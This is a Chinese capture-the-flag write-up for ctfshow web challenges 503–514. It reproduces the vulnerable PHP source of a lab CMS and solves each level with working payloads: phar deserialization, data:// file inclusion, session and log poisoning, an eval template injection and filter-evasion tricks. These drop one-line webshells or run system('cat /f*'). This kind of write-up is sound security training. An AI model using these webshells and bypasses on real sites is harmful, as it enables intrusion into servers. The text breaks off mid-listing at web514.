查看源码:

/index.php?action=../api/admin_upload

返回:


<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	$arr = $_FILES["file"];
	if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
	{
		$arr["tmp_name"];
		$filename = md5($arr['name']);
		$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
		if(!preg_match('/^php$/i', $ext)){
			$basename = "../img/".$filename.'.' . $ext;
			move_uploaded_file($arr["tmp_name"],$basename);
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$config['logo']=$filename.'.' . $ext;
			file_put_contents(__DIR__.'/../config/settings', serialize($config));
			$ret['msg']='文件上传成功';
		}
		
	}else{
		$ret['msg']='文件上传失败';
	}
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这里判断文件 MIME 类型是否是 JPEG 或 PNG,并且文件大小要小于10MB,且禁止扩展名为“php”的文件上传。
结合前面/api/admin_db_backup.phpfile_exists函数,可以用phar反序列化来做

读取render/db_class.php

/index.php?action=../render/db_class

返回:

<?php

error_reporting(0);
class db{
	
	public $db;
	public $log;
	public $sql;
	public $username='root';
	public $password='root';
	public $port='3306';
	public $addr='127.0.0.1';
	public $database='ctfshow';
	public function __construct(){
		$this->log=new dbLog();
		$this->db=$this->getConnection();
	}

	public function getConnection(){
		return new mysqli($this->addr,$this->username,$this->password,$this->database);
	}

	public  function select_one($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_object();
		}
	}
	public  function select_one_array($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_assoc();
		}
	}
	public function __destruct(){
		$this->log->log($this->sql);
	}
}

class dbLog{
	public $sql;
	public $content;
	public $log;
	
	public function __construct(){
		$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

php.ini:

phar.readonly = Off

phar反序列化:

<?php

class dbLog{
    public $content = '<?php eval($_POST[1]);?>';
    public $log = '1.php';
}

$a = new dbLog();
$phar = new Phar('a.phar');
$phar -> startBuffering();
$phar -> addFromString('test.txt','test');
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar -> setMetadata($a);
$phar -> stopBuffering();  

?>

运行后当前目录会生成一个a.phar文件,修改文件后缀名为png,然后上传到系统配置那里
右键图像复制图像链接
WEB入门——中期测评-20.png

/img/32d3ca5e23f4ccf1e4c8660c40e75f33.png

借用file_exists来触发phar反序列化:

pre=phar:///var/www/html/img/32d3ca5e23f4ccf1e4c8660c40e75f33&db_format=.png

WEB入门——中期测评-21.png
蚁剑连接:

/1.php

web504

多了模板添加功能,但是查看不了源码
WEB入门——中期测评-22.png
可以尝试写序列化代码到config/settings,等网页加载时会进行反序列化然后生成木马

<?php

class dbLog{
    public $content = '<?php eval($_POST[1]);?>';
    public $log = '2.php';
}

$a = new dbLog();
echo serialize($a);

?>

返回:

O:5:"dbLog":2:{s:7:"content";s:24:"<?php eval($_POST[1]);?>";s:3:"log";s:5:"2.php";}

写入路径:

../config/settings

WEB入门——中期测评-23.png
查看系统配置,可以看到内容已经写入,并覆盖了原来的内容
WEB入门——中期测评-24.png
蚁剑连接:

/2.php

web505

这次文件上传不了,应该是后端做了校验
WEB入门——中期测评-25.png
发现多了一个文件查看功能,可以查看文件源码
我们看看api/admin_templates.php源码
WEB入门——中期测评-26.png

<?php

session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
$action=$_GET['action'];
if(!isset($user)){
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}
switch ($action) {
	case 'list':
		$sql = "select id,name,type,path,des from templates limit 0,10";
		$db=new db();
		$temps = $db->select_array($sql);
		if(count($temps)>0){
			$ret['count']=count($temps);
			$ret['data']=$temps;
			$ret['msg']='查询成功';
		}
		break;
	case 'update':
		extract($_POST);
		$row=json_decode($row);
		if(waf($row)){
			break;
		}
		$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}";
		$db = new db();
		if($db->update_one($sql)){
			$ret['msg']='实时更新成功';
		}else{
			$ret['msg']='实时更新失败';
		}
		break;
	case 'getContents':
		extract($_POST);
		$template=json_decode($template);
		if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/', $template->path)){
			$ret['count']=1;
			$ret['msg']='查询成功';
			$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path)));
		}
		break;
	case 'download':
		extract($_POST);
		if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/', $path)){
			header("Content-Type: application/octet-stream"); 
			header('Content-Disposition:  attachment; filename="' . $path. '"');
			echo file_get_contents(__DIR__.'/../templates/'.$path);
			exit();
		}
		break;
	case 'upload':
		extract($_POST);
		if(!preg_match('/php|phar|ini|settings/i', $name))
		{	
			file_put_contents(__DIR__.'/../templates/'.$name, $content);
			$ret['msg']='文件上传成功';
		}else{
			$ret['msg']='文件上传失败';
		}
		break;
	default:
		# code...
		break;
}

function waf($row){
	$ret = false;
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->name)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->type)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->des)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->path)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->id)){
		$ret=true;
	}
	return $ret;
}
die(json_encode($ret));

原本的上传:

api/admin_templates.php?action=upload

upload,可以看到把settings过滤了:

	case 'upload':
		extract($_POST);
		if(!preg_match('/php|phar|ini|settings/i', $name))
		{	
			file_put_contents(__DIR__.'/../templates/'.$name, $content);
			$ret['msg']='文件上传成功';
		}else{
			$ret['msg']='文件上传失败';
		}
		break;

文件查看的路由是:

/api/admin_file_view.php

查看源码:

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){

	extract($_POST);
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

关键代码:

	extract($_POST);
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);

当满足$debug==1$f以user开头,就用include进行文件包含
POST:

debug=1&f=data://text/plain,user<?php system('cat /f*');?>

解释:
PHP 执行 file_get_contents($f) 时:
读取 data:// 协议,解析 MIME 类型 text/plain,返回逗号后面的内容: user<?php system('cat /f*');?>|

debug=1&f=data://text/plain,user<?php system('cat /f*');?>
                └─────┬─────┘└──────────┬──────────┘
                   MIME类型          实际内容

web506

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){

	extract($_POST);
	$ext = substr($f, strlen($f)-3,3);
	if(preg_match('/php|sml|phar/i', $ext)){
		$ret['msg']='请不要使用此功能';
		die(json_encode($ret));
	}
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这题的api/admin_file_view.php相比上题,多了一个判断文件名后缀的代码
取 $f 文件名的最后三个字符,如果扩展名是 phpsml 或 phar(不区分大小写),则直接返回提示、终止流程
不影响,我们用的是data伪协议,步骤跟上题一样
POST:

debug=1&f=data://text/plain,user<?php system('cat /f*');?>

web507

<?php
session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){

	extract($_POST);
	$ext = substr($f, strlen($f)-3,3);
	if(preg_match('/php|sml|phar/i', $ext)){
		$ret['msg']='请不要使用此功能';
		die(json_encode($ret));
	}
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

api/admin_file_view.php没变,继续用上题方法
POST:

debug=1&f=data://text/plain,user<?php system('cat /f*');?>

web508

<?php

session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(preg_match('/php|sml|phar|\:|data|file/i', $f)){
		$ret['msg']='请不要使用此功能';
		die(json_encode($ret));
	}
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这次把伪协议禁了,不能直接写伪协议,可以换个方法,用一个文件来当中转站执行命令
WEB入门——中期测评-27.png
改成:

user<?php system('cat /f*');?>

WEB入门——中期测评-28.png
复制图片链接

http://da61ab44-e019-4250-b809-d74fe9af9d8b.challenge.ctf.show/img/1d5a590870a0ce6e369dcb1f3d857651.png

发送POST请求到api/admin_file_view.php

debug=1&f=/var/www/html/img/1d5a590870a0ce6e369dcb1f3d857651.png

WEB入门——中期测评-29.png

web509

api/admin_upload.php

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	$arr = $_FILES["file"];
	if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
	{
		$arr["tmp_name"];
		$filename = md5($arr['name']);
		$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
		if(!preg_match('/^php$/i', $ext)){
			if(preg_match('/php|sml|phar|\:|data|file/i', file_get_contents($arr["tmp_name"]))){
                	$ret['msg']='请不要使用此功能';
                	die(json_encode($ret));
        		}

			$basename = "../img/".$filename.'.' . $ext;
			move_uploaded_file($arr["tmp_name"],$basename);
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$config['logo']=$filename.'.' . $ext;
			file_put_contents(__DIR__.'/../config/settings', serialize($config));
			$ret['msg']='文件上传成功';
		}
		
	}else{
		$ret['msg']='文件上传失败';
	}
	
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}


这次api/admin_upload.php会对文件内容进行校验:

if(preg_match('/php|sml|phar|\:|data|file/i', file_get_contents($arr["tmp_name"]))){

用短回显标签和反引号绕过:

user<?=`cat /f*`?>

过程同上题

debug=1&f=/var/www/html/img/1d5a590870a0ce6e369dcb1f3d857651.png

web510

api/admin_upload.php

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	$arr = $_FILES["file"];
	if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
	{
		$arr["tmp_name"];
		$filename = md5($arr['name']);
		$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
		if(!preg_match('/^php$/i', $ext)){
			if(preg_match('/php|sml|phar|\:|data|file|<|>|\`|\?|=/i', file_get_contents($arr["tmp_name"]))){
                	$ret['msg']='请不要使用此功能';
                	die(json_encode($ret));
        		}
			$basename = "../img/".$filename.'.' . $ext;
			move_uploaded_file($arr["tmp_name"],$basename);
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$config['logo']=$filename.'.' . $ext;
			file_put_contents(__DIR__.'/../config/settings', serialize($config));
			$ret['msg']='文件上传成功';
		}
		
	}else{
		$ret['msg']='文件上传失败';
	}
	
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这次文件上传限制很严格,换个方法
WEB入门——中期测评-30.png
看看api/admin_edit.php对应的源码

<?php

session_start();
include('../render/db_class.php');

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(preg_match('/\'|\"|\\\/', $avatar)){
		$ret['msg']='存在无效字符';
		die(json_encode($ret));
	}
	$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
	$db=new db();
	if($db->update_one($sql)){
		$_SESSION['user']['nickname']=$nickname;
		$_SESSION['user']['avatar']=$avatar;
		$ret['msg']='管理员信息修改成功';
	}else{
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

用session文件包含来做这题

		$_SESSION['user']['nickname']=$nickname;
		$_SESSION['user']['avatar']=$avatar;

WEB入门——中期测评-31.png
昵称对应的就是nickname

Cookie: PHPSESSID=2el69jq6piroqur705tntc55h1

在cookie复制PHPSESSID的值,然后拼接访问

../../../tmp/sess_2el69jq6piroqur705tntc55h1

WEB入门——中期测评-32.png

user|a:3:{s:8:"username";s:5:"admin";s:8:"nickname";s:6:"大牛";s:6:"avatar";s:67:"http://pic3.zhimg.com/50/v2-1c86b2511805e85d157b94266be12672_hd.jpg";}

刚好前面有个user,符合api/admin_file_view.php的要求,我们在名称修改处传入一句话木马

<?php eval($_POST[1]);?>

WEB入门——中期测评-33.png
发送POST请求到api/admin_file_view.php

debug=1&f=/tmp/sess_2el69jq6piroqur705tntc55h1&1=system('cat /f*');

WEB入门——中期测评-34.png

web511

api/admin_file_view.php

<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
        if(preg_match('/php|sml|phar|\:|data|file|sess/i', $f)){
                $ret['msg']='请不要使用此功能';
                die(json_encode($ret));
        }
        if($debug==1 && preg_match('/^user/', file_get_contents($f))){
                include($f);
        }else{
                $ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
        }
        $ret['msg']='查看成功';
        die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这次把sess也过滤了
分析其他代码,发现render/render_class.php有个eval函数

<?php

include('file_class.php');
include('cache_class.php');

class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.sml');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		$templateContent=templateUtil::checkImage($templateContent,$arg);
		$templateContent=templateUtil::checkConfig($templateContent);
		$templateContent=templateUtil::checkVar($templateContent,$arg);
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}
	public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			if(preg_match('/gopher|file/i', $value)){
				$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
			}
			if(stripos($templateContent, '{{img:'.$key.'}}')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
				$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkConfig($templateContent){
		$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
		foreach ($config as $key => $value) {
			if(stripos($templateContent, '{{config:'.$key.'}}')){
				$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkVar($templateContent,$arg){
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{{var:'.$key.'}}')){
				eval('$v='.$value.';');
				$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
			}
		}
		return $templateContent;
	}
}

关键代码:

	public static function checkVar($templateContent,$arg){
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{{var:'.$key.'}}')){
				eval('$v='.$value.';');
				$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
			}
		}
		return $templateContent;
	}

shade函数调用了checkVar,然后render函数调用了shade

render($template,$arg=array())
shade($templateContent,$arg)
checkVar($templateContent,$arg)
//详细:
render($template,$arg=array()):
	$templateContent=fileUtil::read('templates/'.$template.'.sml');
	$templateContent=templateUtil::checkImage($templateContent,$arg);
	$templateContent=templateUtil::checkConfig($templateContent);
	$templateContent=templateUtil::checkVar($templateContent,$arg);
	foreach ($arg as $key => $value) {
		if(stripos($templateContent, '{{var:'.$key.'}}')){
			eval('$v='.$value.';');
			$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
		}
	}

替换函数:

str_replace(find,replace,string,count)

index.php

	case 'view':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render($_GET['page'],$user);
		}else{
			header('location:index.php?action=login');
		}
		break;

发现api/admin_edit.php可以控制user数组

<?php

session_start();
include('../render/db_class.php');

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(preg_match('/\'|\"|\\\/', $avatar)){
		$ret['msg']='存在无效字符';
		die(json_encode($ret));
	}
	$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
	$db=new db();
	if($db->update_one($sql)){
		$_SESSION['user']['nickname']=$nickname;
		$_SESSION['user']['avatar']=$avatar;
		$ret['msg']='管理员信息修改成功';
	}else{
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

关键代码:

$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;

我们只要nickname传入要执行的命令,然后修改前面的模板占位符为{{var:nickname}}即可
修改nickname执行命令:

system('cat /f*');

WEB入门——中期测评-36.png
打开新增模板功能,名称写1.sml,后面我们要GET传入?action=view&page=1,要跟page对应
内容写1{{var:nickname}},用于模板渲染

名称:1.sml
内容:1{{var:nickname}}

WEB入门——中期测评-35.png

加个1是因为render/render_class.phpif(stripos($templateContent, '{{var:'.$key.'}}')){这里有问题,如果是在开头匹配到的话会返回下标0,然后if(0)就不会进入语句块,也就无法执行eval,正确写法应该是

if(stripos($templateContent, '{{var:'.$key.'}}') !== false){

访问:

index.php?action=view&page=1

总结:

admin_edit.php → Session污染 → index.php/view → render() → checkVar() → eval() → RCE
序号 文件 漏洞类型 说明
1 render/render_class.php 代码执行 checkVar()eval('$v='.$value.';')
2 render/render_class.php 逻辑缺陷 stripos()未用!==false判断,开头匹配失效
3 api/admin_edit.php Session污染 可控制$_SESSION['user']['nickname']
4 index.php 入口触发 view动作调用render($_GET['page'], $user)

web512

render/render_class.php

<?php

include('file_class.php');
include('cache_class.php');

class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.sml');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		$templateContent=templateUtil::checkImage($templateContent,$arg);
		$templateContent=templateUtil::checkConfig($templateContent);
		$templateContent=templateUtil::checkVar($templateContent,$arg);
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}

	public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			if(preg_match('/gopher|file/i', $value)){
				$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
			}
			if(stripos($templateContent, '{{img:'.$key.'}}')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
				$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkConfig($templateContent){
		$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
		foreach ($config as $key => $value) {
			if(stripos($templateContent, '{{config:'.$key.'}}')){
				$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
			}
			
		}
		return $templateContent;
	}

	public static function checkVar($templateContent,$arg){
		$db=new db();
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{{var:'.$key.'}}')){
				if(!preg_match('/\(|\[|\`|\'|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|require|GET|POST|COOKIE|SESSION|file/i', $value)){
					eval('$v='.$value.';');
					$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
				}
				
			}
		}
		return $templateContent;
	}
}

$value过滤很严格:

if(!preg_match('/\(|\[|\`|\'|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|require|GET|POST|COOKIE|SESSION|file/i', $value)){

因为网站的php版本为5.6,且正则没有过滤花括号,可以用$_POST{1}来代替$_POST[1],旧版 PHP 允许使用花括号 {} 访问数组某个键,比如 $_POST{1},这是 PHP 早期版本的语法,但从 PHP 7.4 开始,花括号访问数组的语法被废弃并在 PHP 8.0 中移除
那我们要写入的命令为:

<?php include $_POST{1};?>

可以用heredoc语法来定义长字符串,它允许开发者定义多行字符串而不需要使用引号,也不用为引号、换行符等转义,非常方便地写包含多行HTML、SQL、代码片段等内容的字符串,格式为

$变量名 = <<<标识符
多行字符串内容
标识符;

<<< 是heredoc开始的标记,后面跟一个自定义的标识符,直到文件中某一行独立写着完全相同的结束标识符就结束,结束标识符后必须加分号;结束
Heredoc写法:

username=admin&nickname=1;
$a=<<<ctf
<?php includ
ctf;
$b=<<<ctf
e $
ctf;
$c=<<<ctf
_POS
ctf;
$d=<<<ctf
T{1};?>
ctf;
$n=<<<ctf
1.php
ctf;
$e=clone $db;
$e->log->log=$n;
$e->log->content=$a.$b.$c.$d;

最后用到了反序列化知识,具体可以回顾web493
POST发包到api/admin_edit.php
WEB入门——中期测评-37.png
然后跟上题一样新增模板,

名称:1.sml
内容:1{{var:nickname}}

访问:

index.php?action=view&page=1

模板在后端渲染后会生成1.php
GET:

/1.php

POST:

1=data://text/plain,<?php system('cat /f*');

web513

render/render_class.php

<?php
include('file_class.php');
include('cache_class.php');

class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.sml');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		$templateContent=templateUtil::checkImage($templateContent,$arg);
		$templateContent=templateUtil::checkConfig($templateContent);
		$templateContent=templateUtil::checkVar($templateContent,$arg);
		$templateContent=templateUtil::checkFoot($templateContent);
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}

	public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			if(preg_match('/gopher|file/i', $value)){
				$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
			}
			if(stripos($templateContent, '{{img:'.$key.'}}')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
				$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkConfig($templateContent){
		$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
		foreach ($config as $key => $value) {
			if(stripos($templateContent, '{{config:'.$key.'}}')){
				$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkVar($templateContent,$arg){
		$db=new db();
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{{var:'.$key.'}}')){
				if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){
					eval('$v='.$value.';');
					$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
				}
				
			}
		}
		return $templateContent;
	}
	public static function checkFoot($templateContent){
		if ( stripos($templateContent, '{{cnzz}}')) {
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$foot = $config['cnzz'];
			if(is_file($foot)){
				$foot=file_get_contents($foot);
				include($foot);
			}
			
		}
		return $templateContent;
	}
}

发现下面多了一个checkFoot函数,具体代码如下

	public static function checkFoot($templateContent){
		if (stripos($templateContent, '{{cnzz}}')) {
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$foot = $config['cnzz'];
			if(is_file($foot)){
				$foot=file_get_contents($foot);
				include($foot);
			}
			
		}
		return $templateContent;
	}

这里会读取config/settings的内容进行反序列化,根据前面的题目,对应的文件为api/admin_settings.php

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
	foreach ($_POST as $key => $value) {
		$config[$key]=$value;
	}
	file_put_contents(__DIR__.'/../config/settings', serialize($config));
	$ret['msg']='管理员信息修改成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

会把系统配置功能处的数据存入$config数组,然后$config['cnzz']对应的是页面统计
WEB入门——中期测评-38.png
因为render/render_class.php有个$foot=file_get_contents($foot),然后再进行include操作
那我们可以在页面统计放入一个文件地址,然后这个文件的内容是另一个文件的地址,这样就可以进行文件包含

先写一个模板到templates目录下,内容为/var/log/nginx/access.log

1.sml
/var/log/nginx/access.log

WEB入门——中期测评-39.png
页面统计写/var/www/html/templates/1.sml

/var/www/html/templates/1.sml

WEB入门——中期测评-40.png
写入模板2.sml,内容为1{{cnzz}}

2.sml
1{{cnzz}}

GET:

index.php?action=view&page=2

WEB入门——中期测评-41.png
然后进行日志文件执行命令即可,UA头写入一句话木马,读取flag

<?php @eval($_POST[1]);?>

GET:

/index.php?action=view&page=2

POST:

1=system('cat /f*');

web514

render/render_class.php

<?php

include('file_class.php');
include('cache_class.php');

class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.sml');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		$templateContent=templateUtil::checkImage($templateContent,$arg);
		$templateContent=templateUtil::checkConfig($templateContent);
		$templateContent=templateUtil::checkVar($templateContent,$arg);
		$templateContent=templateUtil::checkFoot($templateContent);
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}

	public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			if(preg_match('/gopher|file/i', $value)){
				$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
			}
			if(stripos($templateContent, '{{img:'.$key.'}}')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
